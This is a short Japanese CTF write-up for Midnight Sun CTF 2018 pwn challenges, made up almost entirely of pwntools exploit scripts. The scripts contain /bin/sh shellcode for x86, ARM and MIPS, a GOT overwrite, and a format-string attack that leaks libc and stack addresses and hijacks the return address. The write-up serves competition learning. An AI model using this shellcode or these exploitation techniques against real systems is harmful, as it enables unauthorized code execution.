Midnight Sun CTF 2018 writeup
Babyshells - Pwn (50 + 15)
x86, ARM, MIPSのshellcodeを送るだけ。
x86
#!/usr/bin/env python from pwn import * # context(os='linux', arch='i386') context(os='linux', arch='i386') context.log_level = 'debug' # output verbose log RHOST = "52.30.206.11" RPORT = 7000 LHOST = "127.0.0.1" LPORT = 7000 # libc = ELF('') elf = ELF('./chall') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./chall'], execute) else: conn = process(['./chall']) # conn = process(['./chall'], env={'LD_PRELOAD': ''}) # preparing for exploitation log.info('Pwning') conn.sendline('1') conn.sendline(asm(shellcraft.sh())) conn.interactive()
ARM
shell = "\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68" conn.sendline('1') conn.sendline(shell) conn.interactive()
MIPS
shell = "\x28\x06\xff\xff"+"\x3c\x0f\x2f\x2f"+"\x35\xef\x62\x69"+"\xaf\xaf\xff\xf4"+"\x3c\x0e\x6e\x2f"+"\x35\xce\x73\x68"+"\xaf\xae\xff\xf8"+"\xaf\xa0\xff\xfc"+"\x27\xa4\xff\xf4"+"\x28\x05\xff\xff"+"\x24\x02\x0f\xab"+"\x01\x01\x01\x0c" conn.sendline('1') conn.sendline(shell)
Haxpresso - Pwn (300)
書き込みができるポインタが任意に制御できるので、GOTに書き換えた。
#!/usr/bin/env python from pwn import * context(os='linux', arch='i386') #context.log_level = 'debug' # output verbose log RHOST = "52.30.206.11" RPORT = 1337 LHOST = "127.0.0.1" LPORT = 1337 # libc = ELF('./libc.so') elf = ELF('./haxpresso_f2d67837045662dd6abed40660340a33') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./haxpresso_f2d67837045662dd6abed40660340a33'], execute) else: conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33']) # conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'], env={'LD_PRELOAD': './libc.so'}) # preparing for exploitation def add(name): conn.sendlineafter(' > ', '1') conn.sendlineafter(': ', '1') conn.sendlineafter(': ', 'y') conn.sendafter(': ', name) conn.recvuntil('added!') def edit(idx, name): conn.sendlineafter(' > ', '4') conn.sendlineafter(': ', str(idx)) conn.sendafter(': ', name) conn.recvuntil('edited!') log.info('Pwning') add('a') add('b') conn.sendlineafter(' > ', '3') conn.sendlineafter(': ', '0') conn.sendlineafter(': ', 'n') conn.sendlineafter(' > ', '3') conn.recvuntil('Name: ') buf = conn.recvline() print repr(buf) libc_base = u32(buf[0:4]) - 0xd661 log.info('libc_base = 0x%x', libc_base) conn.sendlineafter(': ', 'n') conn.sendlineafter(': ', 'n') payload = 'x'*0x24 + p32(0x0804c030) edit(0, payload) edit(1, p32(libc_base + 0x3a940)) conn.sendline('4') conn.sendline('0') conn.sendline('/bin/sh\x00') conn.interactive()
Botpanel - Pwn (300 + 10)
はじめのログインに自明なFSBがあったので、そこだけでexploitした。流せるpayloadが0xc bytesだけだが条件が合えば問題なく動く。体感で1/10で刺さる。
#!/usr/bin/env python from pwn import * context(os='linux', arch='i386') #context.log_level = 'debug' # output verbose log RHOST = "52.30.206.11" RPORT = 31337 LHOST = "127.0.0.1" LPORT = 31337 libc = ELF('./libc.so') elf = ELF('./botpanel_e0117db42051bbbe6a9c5db571c45588') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./botpanel_e0117db42051bbbe6a9c5db571c45588','0'], execute) else: conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588', '0']) # conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588'], env={'LD_PRELOAD': './libc.so'}) # preparing for exploitation offset = 12 password = '>@!ADMIN!@<' log.info('Pwning') # leak payload = '..%43$p.%7$p' conn.sendlineafter('Panel password:', payload) conn.recvuntil('..') libc_base = int(conn.recv(10),16) - 0x00018540 - 247 conn.recvuntil('.') stack_addr = int(conn.recv(10), 16) log.info('libc_base = 0x%x', libc_base) log.info('stack_addr = 0x%x', stack_addr) conn.recvuntil('Incorrect') payload = '..%3$p\x00' conn.sendlineafter('Panel password:', payload) conn.recvuntil('..') bin_base = int(conn.recv(10),16) - 0x10c0 log.info('bin_base = 0x%x', bin_base) count_addr = stack_addr - 0x60 payload = p32(count_addr+1) + '%9c%12$n' conn.sendafter('Panel password:', payload) ret_addr = stack_addr - 0x3c def write_word(addr, value): addr1 = addr addr2 = addr+2 value1 = 0xffff & value value2 = 0xffff & (value >> 16) payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74),27) print len(payload) assert len(payload) <= 0xc conn.sendafter('Panel password:', payload) payload = '%%%dc%%%d$hn' % (addr1 &0xffff,85) print len(payload) assert len(payload) <= 0xc conn.sendafter('Panel password:', payload) payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74+4),27) conn.sendafter('Panel password:', payload) payload = '%%%dc%%%d$hn' % (0xffff&addr2,85) conn.sendafter('Panel password:', payload) payload = '%%%dc%%5$hn' % (value1) conn.sendafter('Panel password:', payload) payload = '%%%dc%%6$hn' % (value2) conn.sendafter('Panel password:', payload) write_word(ret_addr, libc_base + 0x3a940) write_word(ret_addr+8, libc_base + 0x15902b) conn.sendline(password) conn.interactive()